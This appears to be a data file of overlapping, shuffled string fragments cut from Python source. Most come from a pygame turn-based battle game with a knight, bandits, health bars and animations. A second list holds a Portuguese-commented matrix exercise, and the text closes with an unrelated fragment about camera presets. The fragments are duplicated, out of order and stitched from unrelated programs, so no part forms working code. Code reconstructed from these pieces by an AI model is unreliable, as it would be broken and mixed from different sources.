"temp_list = [] for i in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png')",
"#draw fighters knight.update() knight.draw() for bandit in bandit_list: bandit.update() bandit.draw()",
"= 0 self.action = 0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time =",
"bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height -",
"None #make sure mouse is visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos()",
"self.hp = max_hp self.strength = strength self.start_potions = potions self.potions",
"#show name and health draw_text(f'{i.name} HP: {i.hp}', font, red, 550,",
"270, 'Bandit', 20, 6, 1) bandit2 = Fighter(700, 270, 'Bandit',",
"self.strength = strength self.start_potions = potions self.potions = potions self.alive",
"True: action_cooldown += 1 if action_cooldown >= action_wait_time: #attack bandit.attack(knight)",
"#create function for drawing text def draw_text(text, font, text_col, x,",
"6, 1) bandit2 = Fighter(700, 270, 'Bandit', 20, 6, 1)",
"has died if target.hp < 1: target.hp = 0 target.alive",
"max_hp, strength, potions): self.name = name self.max_hp = max_hp self.hp",
"images temp_list = [] for i in range(8): img =",
"red = (255, 0, 0) green = (0, 255, 0)",
"[] for i in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img =",
"+= 1 #if the animation has run out then reset",
"260, 'Knight', 30, 10, 3) bandit1 = Fighter(550, 270, 'Bandit',",
"bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height - bottom_panel + 100, bandit2.hp,",
"for i in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img,",
"True and target != None: knight.attack(target) current_fighter += 1 action_cooldown",
"if current_fighter == 2 + count: if bandit.alive == True:",
"#fighter class class Fighter(): def __init__(self, x, y, name, max_hp,",
"attack == True and target != None: knight.attack(target) current_fighter +=",
"else: current_fighter += 1 #if all fighters have had a",
"30, 10, 3) bandit1 = Fighter(550, 270, 'Bandit', 20, 6,",
"= 90 attack = False potion = False clicked =",
"0) green = (0, 255, 0) #load images #background image",
"pygame.time.get_ticks() def attack(self, target): #deal damage to enemy rand =",
"3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect",
"hp self.max_hp = max_hp def draw(self, hp): #update with new",
"visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for count, bandit in enumerate(bandit_list):",
"enemy rand = random.randint(-5, 5) damage = self.strength + rand",
"in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width() *",
"screen_width = 800 screen_height = 400 + bottom_panel screen =",
"had a turn then reset if current_fighter > total_fighters: current_fighter",
"= x self.y = y self.hp = hp self.max_hp =",
"bandit2.max_hp) run = True while run: clock.tick(fps) #draw background draw_bg()",
"variables to attack animation self.action = 1 self.frame_index = 0",
"potions self.alive = True self.animation_list = [] self.frame_index = 0",
"with new health self.hp = hp #calculate health ratio ratio",
"panel rectangle screen.blit(panel_img, (0, screen_height - bottom_panel)) #show knight stats",
"= 0 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def attack(self,",
"bottom_panel + 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height -",
"#player action if knight.alive == True: if current_fighter == 1:",
"0)) #function for drawing panel def draw_panel(): #draw panel rectangle",
"screen_height - bottom_panel + 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550,",
"False if event.type == pygame.MOUSEBUTTONDOWN: clicked = True else: clicked",
"run = True while run: clock.tick(fps) #draw background draw_bg() #draw",
"count, bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show",
"fps = 60 #game window bottom_panel = 150 screen_width =",
"self.image = self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center = (x, y)",
"image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword",
"self.update_time > animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index += 1 #if",
"+ count * 60) #fighter class class Fighter(): def __init__(self,",
"def __init__(self, x, y, hp, max_hp): self.x = x self.y",
"action_cooldown += 1 if action_cooldown >= action_wait_time: #attack bandit.attack(knight) current_fighter",
"#game window bottom_panel = 150 screen_width = 800 screen_height =",
"attack = False potion = False target = None #make",
"#show sword in place of mouse cursor screen.blit(sword_img, pos) if",
"= random.randint(-5, 5) damage = self.strength + rand target.hp -=",
"clicked = False #define fonts font = pygame.font.SysFont('Times New Roman',",
"drawing panel def draw_panel(): #draw panel rectangle screen.blit(panel_img, (0, screen_height",
"/ self.max_hp pygame.draw.rect(screen, red, (self.x, self.y, 150, 20)) pygame.draw.rect(screen, green,",
"draw_text(f'{knight.name} HP: {knight.hp}', font, red, 100, screen_height - bottom_panel +",
"#draw panel rectangle screen.blit(panel_img, (0, screen_height - bottom_panel)) #show knight",
"#background image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha()",
"bandit2.hp, bandit2.max_hp) run = True while run: clock.tick(fps) #draw background",
"have had a turn then reset if current_fighter > total_fighters:",
"{knight.hp}', font, red, 100, screen_height - bottom_panel + 10) for",
"range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3,",
"self.action = 0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time = pygame.time.get_ticks() #load",
"True, text_col) screen.blit(img, (x, y)) #function for drawing background def",
"= False potion = False clicked = False #define fonts",
"last update if pygame.time.get_ticks() - self.update_time > animation_cooldown: self.update_time =",
"red, (self.x, self.y, 150, 20)) pygame.draw.rect(screen, green, (self.x, self.y, 150",
"+ 10) for count, i in enumerate(bandit_list): #show name and",
"i in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width()",
"def draw(self, hp): #update with new health self.hp = hp",
"drawing background def draw_bg(): screen.blit(background_img, (0, 0)) #function for drawing",
"rand target.hp -= damage #check if target has died if",
"- bottom_panel + 10) for count, i in enumerate(bandit_list): #show",
"colours red = (255, 0, 0) green = (0, 255,",
">= action_wait_time: #attack bandit.attack(knight) current_fighter += 1 action_cooldown = 0",
"= pygame.time.get_ticks() #load idle images temp_list = [] for i",
"pygame.draw.rect(screen, red, (self.x, self.y, 150, 20)) pygame.draw.rect(screen, green, (self.x, self.y,",
"draw(self): screen.blit(self.image, self.rect) class HealthBar(): def __init__(self, x, y, hp,",
"= pygame.time.Clock() fps = 60 #game window bottom_panel = 150",
"New Roman', 26) #define colours red = (255, 0, 0)",
"screen.blit(background_img, (0, 0)) #function for drawing panel def draw_panel(): #draw",
"= [] for i in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img",
"the start if self.frame_index >= len(self.animation_list[self.action]): self.idle() def idle(self): #set",
"270, 'Bandit', 20, 6, 1) bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2)",
"True: if current_fighter == 1: action_cooldown += 1 if action_cooldown",
"event.type == pygame.MOUSEBUTTONDOWN: clicked = True else: clicked = False",
"1) bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height",
"True: attack = True target = bandit_list[count] #player action if",
"self.image.get_rect() self.rect.center = (x, y) def update(self): animation_cooldown = 100",
"the animation has run out then reset back to the",
"= 1 for event in pygame.event.get(): if event.type == pygame.QUIT:",
"= False target = None #make sure mouse is visible",
"ratio, 20)) knight = Fighter(200, 260, 'Knight', 30, 10, 3)",
"action_cooldown >= action_wait_time: #attack bandit.attack(knight) current_fighter += 1 action_cooldown =",
"Fighter(700, 270, 'Bandit', 20, 6, 1) bandit_list = [] bandit_list.append(bandit1)",
"target != None: knight.attack(target) current_fighter += 1 action_cooldown = 0",
"knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height - bottom_panel + 40,",
"variables attack = False potion = False target = None",
"clicked == True: attack = True target = bandit_list[count] #player",
"= name self.max_hp = max_hp self.hp = max_hp self.strength =",
"bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height - bottom_panel + 100,",
"#reset action variables attack = False potion = False target",
"in bandit_list: bandit.update() bandit.draw() #control player actions #reset action variables",
"= 3 action_cooldown = 0 action_wait_time = 90 attack =",
"for drawing text def draw_text(text, font, text_col, x, y): img",
"100, screen_height - bottom_panel + 10) for count, i in",
"potions): self.name = name self.max_hp = max_hp self.hp = max_hp",
"pygame import random pygame.init() clock = pygame.time.Clock() fps = 60",
"__init__(self, x, y, hp, max_hp): self.x = x self.y =",
"0 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def attack(self, target):",
"if pygame.time.get_ticks() - self.update_time > animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index",
"for bandit in bandit_list: bandit.update() bandit.draw() #control player actions #reset",
"import random pygame.init() clock = pygame.time.Clock() fps = 60 #game",
"#set variables to attack animation self.action = 1 self.frame_index =",
"(0, 255, 0) #load images #background image background_img = pygame.image.load('img/Background/background.png').convert_alpha()",
"class Fighter(): def __init__(self, x, y, name, max_hp, strength, potions):",
"knight stats draw_text(f'{knight.name} HP: {knight.hp}', font, red, 100, screen_height -",
"Roman', 26) #define colours red = (255, 0, 0) green",
"stats draw_text(f'{knight.name} HP: {knight.hp}', font, red, 100, screen_height - bottom_panel",
"HealthBar(): def __init__(self, x, y, hp, max_hp): self.x = x",
"= [] self.frame_index = 0 self.action = 0#0:idle, 1:attack, 2:hurt,",
"= y self.hp = hp self.max_hp = max_hp def draw(self,",
"True target = bandit_list[count] #player action if knight.alive == True:",
"target.hp = 0 target.alive = False #set variables to attack",
"def draw(self): screen.blit(self.image, self.rect) class HealthBar(): def __init__(self, x, y,",
"(self.x, self.y, 150 * ratio, 20)) knight = Fighter(200, 260,",
"1:attack, 2:hurt, 3:dead self.update_time = pygame.time.get_ticks() #load idle images temp_list",
"out then reset back to the start if self.frame_index >=",
"self.rect = self.image.get_rect() self.rect.center = (x, y) def update(self): animation_cooldown",
"health self.hp = hp #calculate health ratio ratio = self.hp",
"current_fighter = 1 total_fighters = 3 action_cooldown = 0 action_wait_time",
"x, y, hp, max_hp): self.x = x self.y = y",
"bandit1_health_bar = HealthBar(550, screen_height - bottom_panel + 40, bandit1.hp, bandit1.max_hp)",
"= potions self.potions = potions self.alive = True self.animation_list =",
"= bandit_list[count] #player action if knight.alive == True: if current_fighter",
"if enough time has passed since the last update if",
"run: clock.tick(fps) #draw background draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp)",
"text_col, x, y): img = font.render(text, True, text_col) screen.blit(img, (x,",
"screen_height - bottom_panel + 40, knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550,",
"screen_height - bottom_panel + 10) for count, i in enumerate(bandit_list):",
"y self.hp = hp self.max_hp = max_hp def draw(self, hp):",
"update if pygame.time.get_ticks() - self.update_time > animation_cooldown: self.update_time = pygame.time.get_ticks()",
"= pygame.font.SysFont('Times New Roman', 26) #define colours red = (255,",
"= pygame.time.get_ticks() self.frame_index += 1 #if the animation has run",
"enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show sword in place",
"self.hp = hp #calculate health ratio ratio = self.hp /",
"target): #deal damage to enemy rand = random.randint(-5, 5) damage",
"for count, i in enumerate(bandit_list): #show name and health draw_text(f'{i.name}",
"= 0 #enemy action for count, bandit in enumerate(bandit_list): if",
"pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing text def draw_text(text, font, text_col,",
"if current_fighter > total_fighters: current_fighter = 1 for event in",
"self.update_time = pygame.time.get_ticks() self.frame_index += 1 #if the animation has",
"3 action_cooldown = 0 action_wait_time = 90 attack = False",
"hp, max_hp): self.x = x self.y = y self.hp =",
"= pygame.mouse.get_pos() for count, bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide",
"#if the animation has run out then reset back to",
"knight_health_bar = HealthBar(100, screen_height - bottom_panel + 40, knight.hp, knight.max_hp)",
"background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image",
"1: target.hp = 0 target.alive = False #set variables to",
"= 1 total_fighters = 3 action_cooldown = 0 action_wait_time =",
"1 if action_cooldown >= action_wait_time: #attack bandit.attack(knight) current_fighter += 1",
"20)) pygame.draw.rect(screen, green, (self.x, self.y, 150 * ratio, 20)) knight",
"max_hp self.strength = strength self.start_potions = potions self.potions = potions",
"while run: clock.tick(fps) #draw background draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp)",
"pygame.time.Clock() fps = 60 #game window bottom_panel = 150 screen_width",
"2:hurt, 3:dead self.update_time = pygame.time.get_ticks() #load idle images temp_list =",
"to the start if self.frame_index >= len(self.animation_list[self.action]): self.idle() def idle(self):",
"#deal damage to enemy rand = random.randint(-5, 5) damage =",
"150 * ratio, 20)) knight = Fighter(200, 260, 'Knight', 30,",
"action_wait_time: #attack bandit.attack(knight) current_fighter += 1 action_cooldown = 0 else:",
"self.alive = True self.animation_list = [] self.frame_index = 0 self.action",
"40, bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height - bottom_panel +",
"run out then reset back to the start if self.frame_index",
"bottom_panel + 100, bandit2.hp, bandit2.max_hp) run = True while run:",
"sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing text def draw_text(text,",
"img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect =",
"damage to enemy rand = random.randint(-5, 5) damage = self.strength",
"100, bandit2.hp, bandit2.max_hp) run = True while run: clock.tick(fps) #draw",
"pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing",
"i in enumerate(bandit_list): #show name and health draw_text(f'{i.name} HP: {i.hp}',",
"damage #check if target has died if target.hp < 1:",
"= strength self.start_potions = potions self.potions = potions self.alive =",
"#update image self.image = self.animation_list[self.action][self.frame_index] #check if enough time has",
"def update(self): animation_cooldown = 100 #handle animation #update image self.image",
"animation has run out then reset back to the start",
"bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw() for bandit in bandit_list:",
"#control player actions #reset action variables attack = False potion",
"then reset if current_fighter > total_fighters: current_fighter = 1 for",
"current_fighter = 1 for event in pygame.event.get(): if event.type ==",
"1 for event in pygame.event.get(): if event.type == pygame.QUIT: run",
"if event.type == pygame.MOUSEBUTTONDOWN: clicked = True else: clicked =",
"self.max_hp = max_hp self.hp = max_hp self.strength = strength self.start_potions",
"bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height - bottom_panel + 40, knight.hp,",
"26) #define colours red = (255, 0, 0) green =",
"y, name, max_hp, strength, potions): self.name = name self.max_hp =",
"#attack bandit.attack(knight) current_fighter += 1 action_cooldown = 0 else: current_fighter",
"= False #set variables to attack animation self.action = 1",
"red, 550, (screen_height - bottom_panel + 10) + count *",
"turn then reset if current_fighter > total_fighters: current_fighter = 1",
"20, 6, 1) bandit2 = Fighter(700, 270, 'Bandit', 20, 6,",
"self.image = self.animation_list[self.action][self.frame_index] #check if enough time has passed since",
"pygame.mouse.get_pos() for count, bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse",
"actions #reset action variables attack = False potion = False",
"+= 1 #if all fighters have had a turn then",
"+ 100, bandit2.hp, bandit2.max_hp) run = True while run: clock.tick(fps)",
"#draw background draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw",
"* 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index]",
"if knight.alive == True: if current_fighter == 1: action_cooldown +=",
"= self.image.get_rect() self.rect.center = (x, y) def update(self): animation_cooldown =",
"for drawing panel def draw_panel(): #draw panel rectangle screen.blit(panel_img, (0,",
"= Fighter(550, 270, 'Bandit', 20, 6, 1) bandit2 = Fighter(700,",
"y) def update(self): animation_cooldown = 100 #handle animation #update image",
"-= damage #check if target has died if target.hp <",
"#define game variables current_fighter = 1 total_fighters = 3 action_cooldown",
"self.hp / self.max_hp pygame.draw.rect(screen, red, (self.x, self.y, 150, 20)) pygame.draw.rect(screen,",
"= pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img",
"= HealthBar(550, screen_height - bottom_panel + 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar",
"0 self.update_time = pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect) class HealthBar():",
"(255, 0, 0) green = (0, 255, 0) #load images",
"screen_height = 400 + bottom_panel screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle')",
"action_cooldown >= action_wait_time: #look for player action #attack if attack",
"clock = pygame.time.Clock() fps = 60 #game window bottom_panel =",
"= 400 + bottom_panel screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define",
"90 attack = False potion = False clicked = False",
"background def draw_bg(): screen.blit(background_img, (0, 0)) #function for drawing panel",
"current_fighter == 1: action_cooldown += 1 if action_cooldown >= action_wait_time:",
"bandit in enumerate(bandit_list): if current_fighter == 2 + count: if",
"0, 0) green = (0, 255, 0) #load images #background",
"potions self.potions = potions self.alive = True self.animation_list = []",
"action_cooldown += 1 if action_cooldown >= action_wait_time: #look for player",
"+ count: if bandit.alive == True: action_cooldown += 1 if",
">= action_wait_time: #look for player action #attack if attack ==",
"damage = self.strength + rand target.hp -= damage #check if",
"temp_list.append(img) self.animation_list.append(temp_list) #load attack images temp_list = [] for i",
"pygame.font.SysFont('Times New Roman', 26) #define colours red = (255, 0,",
"#attack if attack == True and target != None: knight.attack(target)",
"fighters have had a turn then reset if current_fighter >",
"font, text_col, x, y): img = font.render(text, True, text_col) screen.blit(img,",
"passed since the last update if pygame.time.get_ticks() - self.update_time >",
"1 #if the animation has run out then reset back",
"== True: action_cooldown += 1 if action_cooldown >= action_wait_time: #attack",
"count, i in enumerate(bandit_list): #show name and health draw_text(f'{i.name} HP:",
"+= 1 if action_cooldown >= action_wait_time: #look for player action",
"y): img = font.render(text, True, text_col) screen.blit(img, (x, y)) #function",
"#check if enough time has passed since the last update",
"strength, potions): self.name = name self.max_hp = max_hp self.hp =",
"= pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height() *",
"pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img =",
"reset back to the start if self.frame_index >= len(self.animation_list[self.action]): self.idle()",
"= True while run: clock.tick(fps) #draw background draw_bg() #draw panel",
"= max_hp self.strength = strength self.start_potions = potions self.potions =",
"#show knight stats draw_text(f'{knight.name} HP: {knight.hp}', font, red, 100, screen_height",
"= hp self.max_hp = max_hp def draw(self, hp): #update with",
"= False #define fonts font = pygame.font.SysFont('Times New Roman', 26)",
"bandit2 = Fighter(700, 270, 'Bandit', 20, 6, 1) bandit_list =",
"= pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game variables current_fighter = 1",
"bandit.draw() #control player actions #reset action variables attack = False",
"+= 1 action_cooldown = 0 #enemy action for count, bandit",
"panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function",
"0 self.update_time = pygame.time.get_ticks() def attack(self, target): #deal damage to",
"#draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw()",
"(0, 0)) #function for drawing panel def draw_panel(): #draw panel",
"in pygame.event.get(): if event.type == pygame.QUIT: run = False if",
"pygame.event.get(): if event.type == pygame.QUIT: run = False if event.type",
"0 target.alive = False #set variables to attack animation self.action",
"self.rect) class HealthBar(): def __init__(self, x, y, hp, max_hp): self.x",
"bottom_panel screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game variables current_fighter",
"sure mouse is visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for count,",
"name, max_hp, strength, potions): self.name = name self.max_hp = max_hp",
"action_cooldown = 0 action_wait_time = 90 attack = False potion",
"potion = False clicked = False #define fonts font =",
"attack animation self.action = 0 self.frame_index = 0 self.update_time =",
"self.frame_index = 0 self.update_time = pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect)",
"+= 1 action_cooldown = 0 else: current_fighter += 1 #if",
"idle images temp_list = [] for i in range(8): img",
"current_fighter += 1 #if all fighters have had a turn",
"for count, bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False)",
"potion = False target = None #make sure mouse is",
"True self.animation_list = [] self.frame_index = 0 self.action = 0#0:idle,",
"1 if action_cooldown >= action_wait_time: #look for player action #attack",
"pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3))",
"pygame.time.get_ticks() - self.update_time > animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index +=",
"self.x = x self.y = y self.hp = hp self.max_hp",
"self.animation_list = [] self.frame_index = 0 self.action = 0#0:idle, 1:attack,",
"in range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width() *",
"bandit_list: bandit.update() bandit.draw() #control player actions #reset action variables attack",
"function for drawing text def draw_text(text, font, text_col, x, y):",
"target.hp -= damage #check if target has died if target.hp",
"= pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for",
"images #background image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img =",
"to enemy rand = random.randint(-5, 5) damage = self.strength +",
"False #define fonts font = pygame.font.SysFont('Times New Roman', 26) #define",
"bandit.update() bandit.draw() #control player actions #reset action variables attack =",
"target = None #make sure mouse is visible pygame.mouse.set_visible(True) pos",
"#function for drawing panel def draw_panel(): #draw panel rectangle screen.blit(panel_img,",
"+ 40, knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height - bottom_panel",
"40, knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height - bottom_panel +",
"!= None: knight.attack(target) current_fighter += 1 action_cooldown = 0 #enemy",
"since the last update if pygame.time.get_ticks() - self.update_time > animation_cooldown:",
"pygame.time.get_ticks() #load idle images temp_list = [] for i in",
"action_wait_time: #look for player action #attack if attack == True",
"(x, y) def update(self): animation_cooldown = 100 #handle animation #update",
"1 action_cooldown = 0 else: current_fighter += 1 #if all",
"0 self.action = 0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time = pygame.time.get_ticks()",
"= pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height() *"
] |
[
"if matriz[l][c] % 2 == 0: soma += matriz[l][c] print()",
"3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] % 2 == 0: soma",
"2 == 0: soma += matriz[l][c] print() for l in",
"dos valores da 3 coluna é {col3}') print(f'O maior numero",
"print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] % 2 == 0: soma +=",
"in range(0, 3): col3 += matriz[l][2] for c in range(0,",
"[[0, 0, 0], [0, 0, 0], [0, 0, 0]] soma",
"= maior = 0 for l in range(0, 3): for",
"l in range(0, 3): for c in range(0, 3): print(f'[{matriz[l][c]:^5}]',",
"{soma}') print(f'A soma dos valores da 3 coluna é {col3}')",
"+= matriz[l][2] for c in range(0, 3): if c ==",
"0, 0], [0, 0, 0]] soma = col3 = maior",
"coluna é {col3}') print(f'O maior numero da 2 linha é",
"= 0 for l in range(0, 3): for c in",
"matriz[l][c] print() for l in range(0, 3): col3 += matriz[l][2]",
"0 for l in range(0, 3): for c in range(0,",
"3): matriz[l][c] = int(input(f'[{l}][{c}]: ')) for l in range(0, 3):",
"[0, 0, 0]] soma = col3 = maior = 0",
"maior = matriz[1][c] elif matriz[1][c] > maior: maior = matriz[1][c]",
"soma dos numeros pares é {soma}') print(f'A soma dos valores",
"matriz[l][c] % 2 == 0: soma += matriz[l][c] print() for",
"col3 = maior = 0 for l in range(0, 3):",
"range(0, 3): for c in range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]:",
"for c in range(0, 3): if c == 0: maior",
"= col3 = maior = 0 for l in range(0,",
"0]] soma = col3 = maior = 0 for l",
"% 2 == 0: soma += matriz[l][c] print() for l",
"range(0, 3): col3 += matriz[l][2] for c in range(0, 3):",
"é {soma}') print(f'A soma dos valores da 3 coluna é",
"in range(0, 3): for c in range(0, 3): matriz[l][c] =",
"range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] % 2 == 0:",
"in range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]: ')) for l in",
"c == 0: maior = matriz[1][c] elif matriz[1][c] > maior:",
"print(f'A soma dos valores da 3 coluna é {col3}') print(f'O",
"dos numeros pares é {soma}') print(f'A soma dos valores da",
"for l in range(0, 3): col3 += matriz[l][2] for c",
"matriz[1][c] elif matriz[1][c] > maior: maior = matriz[1][c] print(f'A soma",
"soma dos valores da 3 coluna é {col3}') print(f'O maior",
"3): if c == 0: maior = matriz[1][c] elif matriz[1][c]",
"range(0, 3): if c == 0: maior = matriz[1][c] elif",
"matriz[l][2] for c in range(0, 3): if c == 0:",
"soma = col3 = maior = 0 for l in",
"in range(0, 3): for c in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='')",
"range(0, 3): for c in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if",
"maior = matriz[1][c] print(f'A soma dos numeros pares é {soma}')",
"int(input(f'[{l}][{c}]: ')) for l in range(0, 3): for c in",
"<reponame>marinaoliveira96/python-exercises matriz = [[0, 0, 0], [0, 0, 0], [0,",
"3): for c in range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]: '))",
"da 3 coluna é {col3}') print(f'O maior numero da 2",
"= int(input(f'[{l}][{c}]: ')) for l in range(0, 3): for c",
"end='') if matriz[l][c] % 2 == 0: soma += matriz[l][c]",
"c in range(0, 3): if c == 0: maior =",
"3 coluna é {col3}') print(f'O maior numero da 2 linha",
"é {col3}') print(f'O maior numero da 2 linha é {maior}')",
"= matriz[1][c] elif matriz[1][c] > maior: maior = matriz[1][c] print(f'A",
"[0, 0, 0], [0, 0, 0]] soma = col3 =",
"maior = 0 for l in range(0, 3): for c",
"0, 0]] soma = col3 = maior = 0 for",
"== 0: maior = matriz[1][c] elif matriz[1][c] > maior: maior",
"in range(0, 3): if c == 0: maior = matriz[1][c]",
"')) for l in range(0, 3): for c in range(0,",
"matriz[1][c] print(f'A soma dos numeros pares é {soma}') print(f'A soma",
"numeros pares é {soma}') print(f'A soma dos valores da 3",
"matriz[1][c] > maior: maior = matriz[1][c] print(f'A soma dos numeros",
"pares é {soma}') print(f'A soma dos valores da 3 coluna",
"== 0: soma += matriz[l][c] print() for l in range(0,",
"range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]: ')) for l in range(0,",
"l in range(0, 3): col3 += matriz[l][2] for c in",
"col3 += matriz[l][2] for c in range(0, 3): if c",
"> maior: maior = matriz[1][c] print(f'A soma dos numeros pares",
"for c in range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]: ')) for",
"if c == 0: maior = matriz[1][c] elif matriz[1][c] >",
"0, 0], [0, 0, 0], [0, 0, 0]] soma =",
"3): col3 += matriz[l][2] for c in range(0, 3): if",
"print() for l in range(0, 3): col3 += matriz[l][2] for",
"valores da 3 coluna é {col3}') print(f'O maior numero da",
"3): for c in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c]",
"matriz[l][c] = int(input(f'[{l}][{c}]: ')) for l in range(0, 3): for",
"0], [0, 0, 0]] soma = col3 = maior =",
"elif matriz[1][c] > maior: maior = matriz[1][c] print(f'A soma dos",
"= [[0, 0, 0], [0, 0, 0], [0, 0, 0]]",
"+= matriz[l][c] print() for l in range(0, 3): col3 +=",
"print(f'A soma dos numeros pares é {soma}') print(f'A soma dos",
"matriz = [[0, 0, 0], [0, 0, 0], [0, 0,",
"0], [0, 0, 0], [0, 0, 0]] soma = col3",
"= matriz[1][c] print(f'A soma dos numeros pares é {soma}') print(f'A",
"c in range(0, 3): matriz[l][c] = int(input(f'[{l}][{c}]: ')) for l",
"0: maior = matriz[1][c] elif matriz[1][c] > maior: maior =",
"c in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] % 2",
"l in range(0, 3): for c in range(0, 3): matriz[l][c]",
"0: soma += matriz[l][c] print() for l in range(0, 3):",
"for c in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] %",
"for l in range(0, 3): for c in range(0, 3):",
"maior: maior = matriz[1][c] print(f'A soma dos numeros pares é",
"soma += matriz[l][c] print() for l in range(0, 3): col3",
"in range(0, 3): print(f'[{matriz[l][c]:^5}]', end='') if matriz[l][c] % 2 =="
] |
[
"auto_track = None camData[\"auto_track\"] = auto_track if presets: camData[\"presets\"] =",
